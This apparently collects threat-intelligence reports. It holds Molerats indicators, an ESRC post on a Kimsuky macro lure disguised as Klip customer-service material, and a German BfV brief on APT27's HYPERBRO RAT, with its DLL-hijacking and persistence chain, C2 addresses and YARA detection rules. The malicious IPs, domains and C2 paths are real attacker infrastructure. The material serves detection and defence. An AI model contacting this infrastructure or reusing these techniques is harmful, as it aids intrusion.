+4ae0048f67e878fcedfaff339fab4fe3
+.exe
+(Confuser
+packed)
+[+] Download URLs
+Component
+Template
+https://drive.google[.]com/uc?export=download&id=1xwb99Q7duf6q7a7be44pCk3dU9KwXam
+19/22
+Component
+http://45.63.49[.]202/document.html
+http://23.94.218[.]221/excelservice.html
+http://45.63.49[.]202/doc.html
+http://45.63.49[.]202/gabha.html
+[+] Molerats associated IPs
+45.63.49[.]202
+23.94.218[.]221
+185.244.39[.]165
+[+] Molerats associated domains
+msupdata[.]com
+www.msupdate[.]com
+# Spark backdoor
+bundanesia[.]com
+[+] File system artifacts
+# Dropped binary
+C:\ProgramData\servicehost.exe
+{current_working_directory}\su.exe
+Appendix
+MD5: 5c87b653db4cc731651526f9f0d52dbb
+MD5: 105885d14653932ff6b155d0ed64f926
+MD5: e72d18b78362e068d0f3afa040df6a4c
+20/22
+21/22
+22/22
+North Korea-linked APT attack found disguised as a
+digital asset wallet service customer center!
+blog.alyac.co.kr/4501
+February 16, 2022
+Detailed content
+body title
+North Korea-linked APT attack found disguised as a digital asset wallet service customer
+center!
+Malware analysis report
+by pill 4 2022. 2. 16. 14:55
+main text
+Hello? This is the East Security Security Response Center (ESRC).
+A malicious file disguised as the Klip customer center was recently discovered, and users
+need to be extra careful.
+Klip is a digital asset wallet service developed by Ground X, a blockchain-related subsidiary
+of Kakao. The file found this time was distributed under the file name '[Klip Customer
+Center] Mistransmission_Token Resolution_Guide.doc'.
+[Figure 1] Screen inducing users to click the content use button
+The file contains malicious macros, convincing users to click the Enable Content button,
+claiming that the document is protected.
+If the user clicks the use content button, it is written like a file sent from the actual Klip
+customer center, causing the user to mistake it for a real normal file.
+[Figure 2] Klip customer center camouflage file
+However, that file contains the macro code, and the macro runs in the background.
+[Figure 3] Macros included in malicious files
+When the macro is executed, the file is dropped in xml format, and the dropped file is
+automatically executed and then attempts to connect to the C&C.
+[Figure 4] xml file dropped after macro execution
+However, at the time of analysis, access to the C&C server was not possible, so further
+analysis was not possible.
+This threat has been identified as an extension of the 'Smoke Screen' campaign, which is one
+of the three major threats of 'Thallium (also known as Kimsuky)'.
+hxxp://asenal.medianewsonline[.]com/good/luck/flavor/list.php?query=1
+hxxp://asenal.medianewsonline[.]com/good/luck/flavor/show.php
+Currently, the pill is being detected as Trojan.Downloader.DOC.Gen .
+Attributionnon-profitchange prohibited
+TLP:WHITE
+ln, 26. Januar 2022
+BfV Cyber-Brief
+Nr. 01/2022
+- Hinweis auf aktuelle Angriffskampagne -
+Kontakt:
+Bundesamt f
+r Verfassungsschutz
+Cyberabwehr
+0228-99-792-2600
+ maxsim/Fotolia.com
+TLP:WHITE
+BfV Cyber-Brief
+Aktuelle Cyberangriffskampagne gegen deutsche Wirtschaftsunternehmen durch die Gruppierung APT27
+Aktuelle Erkenntnisse deuten auf anhaltende Cyberangriffsaktivit
+ten der Gruppierung APT27
+gegen Wirtschaftsunternehmen in Deutschland hin.
+Sachverhalt
+Dem Bundesamt f
+r Verfassungsschutz (BfV) liegen Erkenntnisse 
+ber eine anhaltende Cyberspionagekampagne durch die Cyberangriffsgruppierung APT27 unter Einsatz der Schadsoftwarevariante
+HYPERBRO gegen deutsche Wirtschaftsunternehmen vor. Nach aktuellen Erkenntnissen nutzen die
+Angreifer seit M
+rz 2021 Schwachstellen in Microsoft Exchange sowie in der Software Zoho AdSelf
+Service Plus1 als Einfallstor f
+r die Angriffe aus.
+Es kann nicht ausgeschlossen werden, dass die Akteure neben dem Diebstahl von Gesch
+ftsgeheimnissen und geistigem Eigentum versuchen, die Netzwerke der (Unternehmens-)Kunden beziehungsweise von Dienstleistern zus
+tzlich zu infiltrieren (Supply-Chain-Angriff).
+Bei dem Programm handelt es sich um ein webbasierte Software zur Verwaltung von Zugangsdaten von Cloud- und Windows Active Directory-Konten
+Bundesamt f
+r Verfassungsschutz - Cyber-Brief Nr. 01/2022
+TLP:WHITE
+BfV Cyber-Brief
+Hintergrundinformationen
+Die Cyberspionagegruppierung APT27 ist seit mindestens 2010 aktiv. Gegenw
+rtig beobachtet das
+BfV eine Zunahme von Angriffen gegen deutsche Ziele durch die Gruppierung unter Verwendung
+der HYPERBRO-Schadsoftware.
+Das BfV geht von einer anhaltenden Angriffswelle durch den Akteur auf die deutsche Wirtschaft aus
+und ver
+ffentlicht daher die angeh
+ngten Detektionsregeln und technische Indikatoren (Indicators
+of Compromise), um Wirtschaftsunternehmen die Identifikation bestehender Infektionen mit den
+derzeit kursierenden und m
+glicherweise neuen Versionen der Schadsoftware zu erm
+glichen. Au
+erdem wird im Folgenden die Funktionsweise von HYPERBRO am Beispiel einer aktuellen Variante
+dargestellt.
+Angriffsvektor
+Die Angreifer verf
+gten bereits vor 
+ffentlichem Bekanntwerden 
+ber Kenntnis der Schwachstellen in der Software Zoho Manage Engine ADSelfService Plus (CVE-2021-40539) sowie in Microsoft
+Exchange Server 2013, 2016 und 2019 (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 und
+CVE-2021-27065), die zur Auslieferung von HYPERBRO verwendet werden.
+Technische Analyse
+Bei HYPERBRO handelt es sich um ein Remote-Access-Tool (RAT), das in der Regel aus den folgenden Komponenten besteht (siehe Abb. 1):
+Abbildung 1: Komponenten von HYPERBRO
+Bundesamt f
+r Verfassungsschutz - Cyber-Brief Nr. 01/2022
+TLP:WHITE
+BfV Cyber-Brief
+Legitime Executable2 (msmpeng.exe oder vfhost.exe) - in diesem Fall die legitime Software CyberArk Viewfinity, die mit einem validen, aber abgelaufenem Zertifikat signiert ist.
+Maliz
+se DLL3 (vftrace.dll), die durch den legitimen Loader per DLL-Hijacking4 Methode geladen wird.
+Malware Payload (thumb.dat) im Bin
+rformat ausf
+hrbarer Programme (PE-Dateien), der ausf
+hrbaren Shellcode, eine malizi
+se DLL sowie Informationen 
+ber die Angriffsinfrastruktur
+(C2-Adressen) beinhaltet.
+Bei Ausf
+hrung des Payloads, wird weiterhin eine Malware Konfigurationsdatei (config.ini) als
+Datei im Ordner abgelegt.
+Installationsprozess
+Der Installationsprozess von HYPERBRO l
+uft wie folgt ab (siehe Abb. 2):
+Abbildung 2: Installationsprozess von HYPERBRO
+Als Loader bezeichnet man eine der ersten Stufe einer mehrstufigen Malware, die die malizi
+sen Bestandteile der Schadsoftware ggf. dekodiert und ausf
+hrt. Loader
+nnen dabei teils auf legitimen Programmen basieren, die vom Angreifer entgegen ihres eigentlichen Einsatzzweckes zum Laden von Schadprogrammen missbraucht
+werden.
+Bei einer DLL (Dynamic Link Library) handelt es sich um eine Programmbibliothek (meist in einem Windowssystem) aus der Softwareprogramme dynamisch Daten,
+Ressourcen oder Funktionalit
+ten nachladen k
+nnen.
+DLL-Hijacking bezeichnet das Laden einer DLL aus einem vom Programmentwickler nicht vorgesehenen Pfad. Sofern keine vollst
+ndige Pfadangabe zum Laden der
+DLL in einer Software hinterlegt ist, wird unter Windows standardm
+ig zuerst in dem Ordner gesucht, in welchem das Programm selbst liegt, dann in bestimmten
+Windows-Ordnern. Legt ein Angreifer eine malizi
+se DLL in einem Ordner ab, der vor dem Ordner der eigentlich zu ladenden DLL durchsucht wird, l
+dt ein legitimes
+Programm die malizi
+se DLL und f
+hrt diese damit aus.
+Bundesamt f
+r Verfassungsschutz - Cyber-Brief Nr. 01/2022
+TLP:WHITE
+BfV Cyber-Brief
+Bei der initialen Ausf
+hrung der legitimen Executable (msmpeng.exe / vfhost.exe) wird die malizi
+DLL (vftrace.dll) per (1.) DLL-Hijacking geladen. Die malizi
+se DLL (2.) l
+dt und decodiert daraufhin
+den Malware Payload (thumb.dat). Die DLL und der Payload sind dabei stark obfuskiert und nutzen
+Anti-Debugging-Techniken, um die Analyse zu erschweren. Der decodierte Payload enth
+lt Shellcode sowie eine komprimierte DLL, die (3.) vom Shellcode dekomprimiert und in memory geladen
+wird. Diese DLL (4.) pr
+ft daraufhin von welchem Ablageort HYPERBRO gestartet wurde 
+ i.d.R. befindet sie sich zu diesem Zeitpunkt noch an einem zuf
+lligen, durch den Akteur gew
+hlten Ablageort. Weiterhin wird 
+berpr
+ft ob HYPERBRO mit administrativen Rechten gestartet wurde: Ist das
+der Fall (4.a) werden alle HYPERBRO-Dateien in den folgenden Ordner verschoben bzw. kopiert, um
+die Software Windows Defender zu imitieren:
+%ProgramFiles%\Common Files\windefenders\
+In diesen Ordner kann nur mit administrativen Rechten geschrieben werden.
+Wurde HYPERBRO ohne administrative Rechte gestartet, (4.b) wird die Schadsoftware hingegen in
+den folgenden Ordner verschoben:
+%ProgramData%\windefenders\
+Durch die Verschiebung in diesen Ordner imitiert HYPERBRO ebenfalls die Software Windows
+Defender. Anschlie
+end (5.) startet sich HYPERBRO am neuen Ablageort selbst neu. Dazu kommt
+Process Hollowing (in svchost.exe) zum Einsatz und unter Umst
+nden auch die Erstellung eines
+tempor
+ren Services, um die Ausf
+hrung mit lokalen Systemrechten zu erm
+glichen (in manchen
+HYPERBRO-Varianten).
+Bundesamt f
+r Verfassungsschutz - Cyber-Brief Nr. 01/2022
+TLP:WHITE
+BfV Cyber-Brief
+Ausf
+hrungsprozess
+Die erneute Ausf
+hrung von HYPERBRO (nach Installation oder bei jedem Systemneustart) l
+uft in
+den ersten drei Schritten genauso ab, wie bei der Installation (siehe Abb. 3):
+Abbildung 3: Ausf
+hrungsprozess von HYPERBRO
+Bei der Ausf
+hrung der legitimen Executable (msmpeng.exe / vfhost.exe) wird die malizi
+se DLL
+(vftrace.dll) per (1.) DLL-Hijacking geladen. Die malizi
+se DLL (2.) l
+dt und decodiert daraufhin den
+Malware Payload (thumb.dat). Der decodierte Payload enth
+lt Shellcode sowie die komprimierte
+DLL, die (3.) vom Shellcode dekomprimiert und geladen wird. Diese DLL (4.) pr
+ft daraufhin erneut
+von welchem Ablageort HYPERBRO gestartet wurde 
+ dieses Mal identifiziert die DLL jedoch, dass
+HYPERBRO aus dem finalen Ablageort heraus gestartet wurde (%ProgramFiles%\Common Files\
+windefenders\ oder %ProgramData%\windefenders\). Ebenfalls wird erneut gepr
+ft, ob HYPERBRO
+mit administrativen Rechten gestartet wurde. Daraufhin wird ein Persistenzmechanismus eingerichtet. Ein Service (windefenders) (4.a), falls das Programm mit administrativen Rechten gestartet wurde
+(Anzeigename 
+Windows Defenders
+) und ein Registry Key (4.b) (HKEY_CURRENT_USER\Software\
+Microsoft\Windows\CurrentVersion\Run\windefenders), falls ohne administrative Rechte gestartet
+wurde. Zudem wird ein Mutex erstellt, das eine Mehrfachinfektion verhindert. Au
+erdem wird eine
+(6.) Malware Konfigurationsdatei (config.ini) im Ordner abgelegt. Die Konfigurationsdatei (config.
+ini) beinhaltet die zuf
+llig generierte GUID5 von HYPERBRO, die bei der C2-Kommunikation mit
+GUID: Globally Unique Identifiier ist eine Zahl mit 128 Bit (16 Bytes), die im vorliegenden Fall genutzt wird um eine bestimmte Malware-Instanz bzw. ein kompromittiertes Opfer zu identifizieren.
+Bundesamt f
+r Verfassungsschutz - Cyber-Brief Nr. 01/2022
+TLP:WHITE
+BfV Cyber-Brief
+bermittelt wird. Zuletzt (7.) wird die malizi
+se DLL per Process Hollowing in einen neuen Prozess
+svchost.exe-Pozess geladen.
+HYPERBRO kann in Memory bei Bedarf (8.) noch weitere Prozesse starten, um bestimmte Funktionalit
+ten (wie bspw. Key-Logging) zu erm
+glichen. Diese optionalen Worker Prozesse kommunizieren via einer Named Pipe (\\.\pipe\testpipe) mit dem urspr
+nglichen Daemon Prozess (siehe Abb. 4).
+Abbildung 4: Ausf
+hrungsprozess von HYPERBRO in Memory
+Netzwerkkommunikation
+HYPERBRO kommuniziert mit hardcodierten C2-Servern des Angreifers und erh
+lt von diesen verschiedene Kommandos. Bekannte C2-Server sind im Anhang A. 
+ Indicators of Compromise (IOCs)
+zu finden. Die Schadkommunikation von HYPERBRO findet in der Regel 
+ber TCP Port 443 statt.
+In Einzelf
+llen kann es vorkommen, dass mehrere Varianten von HYPERBRO in einem Opfernetzwerk durch die Angreifer installiert werden, die sich nach aktuellen Erkenntnissen in den hartkodierten C2-Adressen unterscheiden.
+Handlungsempfehlung
+Es wird empfohlen, die eigenen Systeme mit den im Anhang (Anhang A. 
+ Indicators of Compromise (IOCs)) zur Verf
+gung gestellten IOCs zu pr
+fen. Insbesondere sollte in Logdateien und aktiven
+Netzwerkverbindungen nach Verbindungen zu den im Bereich IOCs genannten externen Systemen
+gesucht werden. Da die bereitgestellten IOCs durch den Akteur ggf. gewechselt werden, sollten insbesondere 
+ falls vorhanden 
+ historische Netzwerk-Logs (insbesondere seit Februar 2021) gepr
+werden, um bereits in der Vergangenheit erfolgte Infektionen auszuschlie
+Ferner k
+nnen die zus
+tzlich im Anhang beigef
+gten Detektionsregeln (Anhang B. 
+ Detektionsregeln 
+ HYPERBRO) dazu genutzt werden, nach einer Infektion durch HYPERBRO zu suchen.
+Bundesamt f
+r Verfassungsschutz - Cyber-Brief Nr. 01/2022
+TLP:WHITE
+BfV Cyber-Brief
+Kontakt
+ckmeldungen und Fragen an die Cyberabwehr des BfV wenden Sie sich bitte an folgenden
+Kontakt:
+Tel.: 0228-99-792-2600
+oder
+cyberabwehr@bfv.bund.de
+Bundesamt f
+r Verfassungsschutz - Cyber-Brief Nr. 01/2022
+TLP:WHITE
+BfV Cyber-Brief
+Anhang A. 
+ Indicators of Compromise (IOCs)
+Funktion
+104.168.236.46
+C2-Server
+103.79.77.200
+C2-Server
+87.98.190.184
+C2-Server
+Weitere m
+gliche Indikatoren f
+r eine Infektion
+Die folgenden Indikatoren k
+nnten auch einen legitimen Ursprung haben, sollten aber dennoch eingehend gepr
+ft werden:
+Datei
+%TEMP%\<username>.key.log
+Log-Datei mit Tastaturanschl
+gen (vom
+Keylogger aufgezeichnet)
+Datei
+%TEMP%\<username>.clip.log
+Log-Datei mit Inhalt der Zwischenablage
+Named Pipe
+\\.\pipe\testpipe
+Named Pipe f
+r IPC zwischen Daemon
+Prozess und Worker Prozess
+Mutex
+80A85553-1E05-4323-B4F9-43A4396A4507
+Mutex die vom Programm erstellt wird
+um Mehrfachausf
+hrung zu verhindern
+Service
+windefenders
+Wird angelegt wenn Schadsoftware mit
+Admin-Rechten ausgef
+hrt wird
+Anzeigename 
+Windows Defenders
+Beschreibung 
+Windows Defenders Service
+Prozess
+msiexec.exe
+Optional weitere Injection in msiexec
+durch entsprechendes C2-Kommando ausgel
+User Agent
+Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36
+(KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36
+User Agent String den die Malware
+r C2 (https) verwendet
+Remote Pfad
+/api/v2/ajax
+Pfad auf dem C2-Server an den
+POST-Requests 
+bertragen werden
+Registry
+HKEY_CURRENT_USER\Software\Microsoft\Windows\
+CurrentVersion\Run\windefenders
+Run Key als Persistenzmechanismus bei Ausf
+hrung ohne Admin-Rechte
+Dateien /
+Pfade
+%ProgramFiles%\Common Files\windefenders\
+%ProgramFiles%\Common Files\windefenders\config.ini
+%ProgramFiles%\Common Files\windefenders\msmpeng.exe
+%ProgramFiles%\Common Files\windefenders\thumb.dat
+%ProgramFiles%\Common Files\windefenders\vftrace.dll
+%ProgramData%\windefenders\
+%ProgramData%\windefenders\config.ini
+%ProgramData%\windefenders\msmpeng.exe
+%ProgramData%\windefenders\thumb.dat
+%ProgramData%\windefenders\vftrace.dll
+Ablageorte und Komponenten der Malware
+Bundesamt f
+r Verfassungsschutz - Cyber-Brief Nr. 01/2022
+TLP:WHITE
+BfV Cyber-Brief
+Anhang B. 
+ Detektionsregeln -HYPERBRO (Yara)
+Detektionsregel I: Stage-Loader
+Anmerkung:
+Die nachfolgende Yara-Regel dient zur Identifikation des initialen Stage-Loaders aus der Datei vftrace.dll der HYPERBRO Malware und detektiert die entsprechende Dekodier-Funktion.
+import 
+rule vftrace_loader {
+meta:
+id = 
+4eEDO8F3p27FeY5YLIPjrA
+fingerprint = 
+b14d0c555f2908a31fefdfa23876d48589cd04dec9e7338a96bc85b0bf58b458
+version = 
+first_imported = 
+2022-01-14
+last_modified = 
+2022-01-14
+status = 
+RELEASED
+sharing = 
+TLP:WHITE
+source = 
+BUNDESAMT FUER VERFASSUNGSSCHUTZ
+author = 
+Bundesamt fuer Verfassungsschutz
+description = 
+Yara rule to detect first Hyperbro Loader Stage, often called vftrace.dll. Detects decoding function.
+category = 
+MALWARE
+malware = 
+HYPERBRO
+mitre_att = 
+S0398
+reference = 
+Warnmeldung des BFV - Aktuelle APT27-Angriffskampagne gegen deutsche Wirtschaftsunternehmen
+hash = 
+333B52C2CFAC56B86EE9D54AEF4F0FF4144528917BC1AA1FE1613EFC2318339A
+strings:
+$decoder_routine = { 8A ?? 41 10 00 00 8B ?? 28 ?? ?? 4? 3B ?? 72 ?? }
+condition:
+$decoder_routine and pe.exports(
+D_C_Support_SetD_File
+) and (pe.characteristics & pe.DLL) and filesize < 5MB
+Bundesamt f
+r Verfassungsschutz - Cyber-Brief Nr. 01/2022
+TLP:WHITE
+BfV Cyber-Brief
+Detektionsregel II: Neue Varianten des Payloads (ab Ende 2021)
+Anmerkung:
+Die nachfolgende Yara-Regel dient zur Identifikation des HYPERBRO Loader Shellcodes in der
+Datei thumb.dat und ggf. w
+hrend der Ausf
+hrung in Memory.
+rule thumb_dat_shellcode_encoded
+meta:
+id = 
+4xBEgDqWksKAhAycnr9yEX
+fingerprint = 
+ed9d24bbb9d63a6c015d3d4c273b544b62483beb6f128e45d3d5d0900965d163
+version = 
+first_imported = 
+2022-01-07
+last_modified = 
+2022-01-07
+status = 
+RELEASED
+sharing = 
+TLP:WHITE
+source = 
+BUNDESAMT FUER VERFASSUNGSSCHUTZ
+author = 
+Bundesamt fuer Verfassungsschutz
+description = 
+Yara rule to detect Hyperbro Loader Shellcode with all possible ADD/SUB encodings and in its decoded form at the
+start of *thumb.dat* files. Tested against *thumb.dat* from 2019 and 2021.
+category = 
+MALWARE
+malware = 
+HYPERBRO
+mitre_att = 
+S0398
+reference = 
+Warnmeldung des BFV - Aktuelle APT27-Angriffskampagne gegen deutsche Wirtschaftsunternehmen
+hash = 
+601A02B81E3BD134C2CF681AC03D696B446E10BF267B11B91517DB1B233FEC74
+strings:
+$thumb_dat_content1 = { E8 6B 09 00 00 C3 55 8B EC 51 51 83 65 F8 00 8B }
+$thumb_dat_content2 = { E9 6C 0A 01 01 C4 56 8C ED 52 52 84 66 F9 01 8C }
+$thumb_dat_content3 = { EA 6D 0B 02 02 C5 57 8D EE 53 53 85 67 FA 02 8D }
+$thumb_dat_content4 = { EB 6E 0C 03 03 C6 58 8E EF 54 54 86 68 FB 03 8E }
+$thumb_dat_content5 = { EC 6F 0D 04 04 C7 59 8F F0 55 55 87 69 FC 04 8F }
+$thumb_dat_content6 = { ED 70 0E 05 05 C8 5A 90 F1 56 56 88 6A FD 05 90 }
+$thumb_dat_content7 = { EE 71 0F 06 06 C9 5B 91 F2 57 57 89 6B FE 06 91 }
+$thumb_dat_content8 = { EF 72 10 07 07 CA 5C 92 F3 58 58 8A 6C 00 07 92 }
+$thumb_dat_content9 = { F0 73 11 08 08 CB 5D 93 F4 59 59 8B 6D 01 08 93 }
+$thumb_dat_content10 = { F1 74 12 09 09 CC 5E 94 F5 5A 5A 8C 6E 02 09 94 }
+$thumb_dat_content11 = { F2 75 13 0A 0A CD 5F 95 F6 5B 5B 8D 6F 03 0A 95 }
+$thumb_dat_content12 = { F3 76 14 0B 0B CE 60 96 F7 5C 5C 8E 70 04 0B 96 }
+$thumb_dat_content13 = { F4 77 15 0C 0C CF 61 97 F8 5D 5D 8F 71 05 0C 97 }
+$thumb_dat_content14 = { F5 78 16 0D 0D D0 62 98 F9 5E 5E 90 72 06 0D 98 }
+$thumb_dat_content15 = { F6 79 17 0E 0E D1 63 99 FA 5F 5F 91 73 07 0E 99 }
+$thumb_dat_content16 = { F7 7A 18 0F 0F D2 64 9A FB 60 60 92 74 08 0F 9A }
+$thumb_dat_content17 = { F8 7B 19 10 10 D3 65 9B FC 61 61 93 75 09 10 9B }
+$thumb_dat_content18 = { F9 7C 1A 11 11 D4 66 9C FD 62 62 94 76 0A 11 9C }
+$thumb_dat_content19 = { FA 7D 1B 12 12 D5 67 9D FE 63 63 95 77 0B 12 9D }
+$thumb_dat_content20 = { FB 7E 1C 13 13 D6 68 9E 00 64 64 96 78 0C 13 9E }
+$thumb_dat_content21 = { FC 7F 1D 14 14 D7 69 9F 01 65 65 97 79 0D 14 9F }
+$thumb_dat_content22 = { FD 80 1E 15 15 D8 6A A0 02 66 66 98 7A 0E 15 A0 }
+$thumb_dat_content23 = { FE 81 1F 16 16 D9 6B A1 03 67 67 99 7B 0F 16 A1 }
+$thumb_dat_content24 = { 00 82 20 17 17 DA 6C A2 04 68 68 9A 7C 10 17 A2 }
+$thumb_dat_content25 = { 01 83 21 18 18 DB 6D A3 05 69 69 9B 7D 11 18 A3 }
+$thumb_dat_content26 = { 02 84 22 19 19 DC 6E A4 06 6A 6A 9C 7E 12 19 A4 }
+$thumb_dat_content27 = { 03 85 23 1A 1A DD 6F A5 07 6B 6B 9D 7F 13 1A A5 }
+$thumb_dat_content28 = { 04 86 24 1B 1B DE 70 A6 08 6C 6C 9E 80 14 1B A6 }
+$thumb_dat_content29 = { 05 87 25 1C 1C DF 71 A7 09 6D 6D 9F 81 15 1C A7 }
+$thumb_dat_content30 = { 06 88 26 1D 1D E0 72 A8 0A 6E 6E A0 82 16 1D A8 }
+$thumb_dat_content31 = { 07 89 27 1E 1E E1 73 A9 0B 6F 6F A1 83 17 1E A9 }
+$thumb_dat_content32 = { 08 8A 28 1F 1F E2 74 AA 0C 70 70 A2 84 18 1F AA }
+$thumb_dat_content33 = { 09 8B 29 20 20 E3 75 AB 0D 71 71 A3 85 19 20 AB }
+$thumb_dat_content34 = { 0A 8C 2A 21 21 E4 76 AC 0E 72 72 A4 86 1A 21 AC }
+$thumb_dat_content35 = { 0B 8D 2B 22 22 E5 77 AD 0F 73 73 A5 87 1B 22 AD }
+$thumb_dat_content36 = { 0C 8E 2C 23 23 E6 78 AE 10 74 74 A6 88 1C 23 AE }
+$thumb_dat_content37 = { 0D 8F 2D 24 24 E7 79 AF 11 75 75 A7 89 1D 24 AF }
+$thumb_dat_content38 = { 0E 90 2E 25 25 E8 7A B0 12 76 76 A8 8A 1E 25 B0 }
+$thumb_dat_content39 = { 0F 91 2F 26 26 E9 7B B1 13 77 77 A9 8B 1F 26 B1 }
+Bundesamt f
+r Verfassungsschutz - Cyber-Brief Nr. 01/2022
+TLP:WHITE
+BfV Cyber-Brief
+$thumb_dat_content40 = { 10 92 30 27 27 EA 7C B2 14 78 78 AA 8C 20 27 B2 }
+$thumb_dat_content41 = { 11 93 31 28 28 EB 7D B3 15 79 79 AB 8D 21 28 B3 }
+$thumb_dat_content42 = { 12 94 32 29 29 EC 7E B4 16 7A 7A AC 8E 22 29 B4 }
+$thumb_dat_content43 = { 13 95 33 2A 2A ED 7F B5 17 7B 7B AD 8F 23 2A B5 }
+$thumb_dat_content44 = { 14 96 34 2B 2B EE 80 B6 18 7C 7C AE 90 24 2B B6 }
+$thumb_dat_content45 = { 15 97 35 2C 2C EF 81 B7 19 7D 7D AF 91 25 2C B7 }
+$thumb_dat_content46 = { 16 98 36 2D 2D F0 82 B8 1A 7E 7E B0 92 26 2D B8 }
+$thumb_dat_content47 = { 17 99 37 2E 2E F1 83 B9 1B 7F 7F B1 93 27 2E B9 }
+$thumb_dat_content48 = { 18 9A 38 2F 2F F2 84 BA 1C 80 80 B2 94 28 2F BA }
+$thumb_dat_content49 = { 19 9B 39 30 30 F3 85 BB 1D 81 81 B3 95 29 30 BB }
+$thumb_dat_content50 = { 1A 9C 3A 31 31 F4 86 BC 1E 82 82 B4 96 2A 31 BC }
+$thumb_dat_content51 = { 1B 9D 3B 32 32 F5 87 BD 1F 83 83 B5 97 2B 32 BD }
+$thumb_dat_content52 = { 1C 9E 3C 33 33 F6 88 BE 20 84 84 B6 98 2C 33 BE }
+$thumb_dat_content53 = { 1D 9F 3D 34 34 F7 89 BF 21 85 85 B7 99 2D 34 BF }
+$thumb_dat_content54 = { 1E A0 3E 35 35 F8 8A C0 22 86 86 B8 9A 2E 35 C0 }
+$thumb_dat_content55 = { 1F A1 3F 36 36 F9 8B C1 23 87 87 B9 9B 2F 36 C1 }
+$thumb_dat_content56 = { 20 A2 40 37 37 FA 8C C2 24 88 88 BA 9C 30 37 C2 }
+$thumb_dat_content57 = { 21 A3 41 38 38 FB 8D C3 25 89 89 BB 9D 31 38 C3 }
+$thumb_dat_content58 = { 22 A4 42 39 39 FC 8E C4 26 8A 8A BC 9E 32 39 C4 }
+$thumb_dat_content59 = { 23 A5 43 3A 3A FD 8F C5 27 8B 8B BD 9F 33 3A C5 }
+$thumb_dat_content60 = { 24 A6 44 3B 3B FE 90 C6 28 8C 8C BE A0 34 3B C6 }
+$thumb_dat_content61 = { 25 A7 45 3C 3C 00 91 C7 29 8D 8D BF A1 35 3C C7 }
+$thumb_dat_content62 = { 26 A8 46 3D 3D 01 92 C8 2A 8E 8E C0 A2 36 3D C8 }
+$thumb_dat_content63 = { 27 A9 47 3E 3E 02 93 C9 2B 8F 8F C1 A3 37 3E C9 }
+$thumb_dat_content64 = { 28 AA 48 3F 3F 03 94 CA 2C 90 90 C2 A4 38 3F CA }
+$thumb_dat_content65 = { 29 AB 49 40 40 04 95 CB 2D 91 91 C3 A5 39 40 CB }
+$thumb_dat_content66 = { 2A AC 4A 41 41 05 96 CC 2E 92 92 C4 A6 3A 41 CC }
+$thumb_dat_content67 = { 2B AD 4B 42 42 06 97 CD 2F 93 93 C5 A7 3B 42 CD }
+$thumb_dat_content68 = { 2C AE 4C 43 43 07 98 CE 30 94 94 C6 A8 3C 43 CE }
+$thumb_dat_content69 = { 2D AF 4D 44 44 08 99 CF 31 95 95 C7 A9 3D 44 CF }
+$thumb_dat_content70 = { 2E B0 4E 45 45 09 9A D0 32 96 96 C8 AA 3E 45 D0 }
+$thumb_dat_content71 = { 2F B1 4F 46 46 0A 9B D1 33 97 97 C9 AB 3F 46 D1 }
+$thumb_dat_content72 = { 30 B2 50 47 47 0B 9C D2 34 98 98 CA AC 40 47 D2 }
+$thumb_dat_content73 = { 31 B3 51 48 48 0C 9D D3 35 99 99 CB AD 41 48 D3 }
+$thumb_dat_content74 = { 32 B4 52 49 49 0D 9E D4 36 9A 9A CC AE 42 49 D4 }
+$thumb_dat_content75 = { 33 B5 53 4A 4A 0E 9F D5 37 9B 9B CD AF 43 4A D5 }
+$thumb_dat_content76 = { 34 B6 54 4B 4B 0F A0 D6 38 9C 9C CE B0 44 4B D6 }
+$thumb_dat_content77 = { 35 B7 55 4C 4C 10 A1 D7 39 9D 9D CF B1 45 4C D7 }
+$thumb_dat_content78 = { 36 B8 56 4D 4D 11 A2 D8 3A 9E 9E D0 B2 46 4D D8 }
+$thumb_dat_content79 = { 37 B9 57 4E 4E 12 A3 D9 3B 9F 9F D1 B3 47 4E D9 }
+$thumb_dat_content80 = { 38 BA 58 4F 4F 13 A4 DA 3C A0 A0 D2 B4 48 4F DA }
+$thumb_dat_content81 = { 39 BB 59 50 50 14 A5 DB 3D A1 A1 D3 B5 49 50 DB }
+$thumb_dat_content82 = { 3A BC 5A 51 51 15 A6 DC 3E A2 A2 D4 B6 4A 51 DC }
+$thumb_dat_content83 = { 3B BD 5B 52 52 16 A7 DD 3F A3 A3 D5 B7 4B 52 DD }
+$thumb_dat_content84 = { 3C BE 5C 53 53 17 A8 DE 40 A4 A4 D6 B8 4C 53 DE }
+$thumb_dat_content85 = { 3D BF 5D 54 54 18 A9 DF 41 A5 A5 D7 B9 4D 54 DF }
+$thumb_dat_content86 = { 3E C0 5E 55 55 19 AA E0 42 A6 A6 D8 BA 4E 55 E0 }
+$thumb_dat_content87 = { 3F C1 5F 56 56 1A AB E1 43 A7 A7 D9 BB 4F 56 E1 }
+$thumb_dat_content88 = { 40 C2 60 57 57 1B AC E2 44 A8 A8 DA BC 50 57 E2 }
+$thumb_dat_content89 = { 41 C3 61 58 58 1C AD E3 45 A9 A9 DB BD 51 58 E3 }
+$thumb_dat_content90 = { 42 C4 62 59 59 1D AE E4 46 AA AA DC BE 52 59 E4 }
+$thumb_dat_content91 = { 43 C5 63 5A 5A 1E AF E5 47 AB AB DD BF 53 5A E5 }
+$thumb_dat_content92 = { 44 C6 64 5B 5B 1F B0 E6 48 AC AC DE C0 54 5B E6 }
+$thumb_dat_content93 = { 45 C7 65 5C 5C 20 B1 E7 49 AD AD DF C1 55 5C E7 }
+$thumb_dat_content94 = { 46 C8 66 5D 5D 21 B2 E8 4A AE AE E0 C2 56 5D E8 }
+$thumb_dat_content95 = { 47 C9 67 5E 5E 22 B3 E9 4B AF AF E1 C3 57 5E E9 }
+$thumb_dat_content96 = { 48 CA 68 5F 5F 23 B4 EA 4C B0 B0 E2 C4 58 5F EA }
+$thumb_dat_content97 = { 49 CB 69 60 60 24 B5 EB 4D B1 B1 E3 C5 59 60 EB }
+$thumb_dat_content98 = { 4A CC 6A 61 61 25 B6 EC 4E B2 B2 E4 C6 5A 61 EC }
+$thumb_dat_content99 = { 4B CD 6B 62 62 26 B7 ED 4F B3 B3 E5 C7 5B 62 ED }
+$thumb_dat_content100 = { 4C CE 6C 63 63 27 B8 EE 50 B4 B4 E6 C8 5C 63 EE }
+$thumb_dat_content101 = { 4D CF 6D 64 64 28 B9 EF 51 B5 B5 E7 C9 5D 64 EF }
+$thumb_dat_content102 = { 4E D0 6E 65 65 29 BA F0 52 B6 B6 E8 CA 5E 65 F0 }
+$thumb_dat_content103 = { 4F D1 6F 66 66 2A BB F1 53 B7 B7 E9 CB 5F 66 F1 }
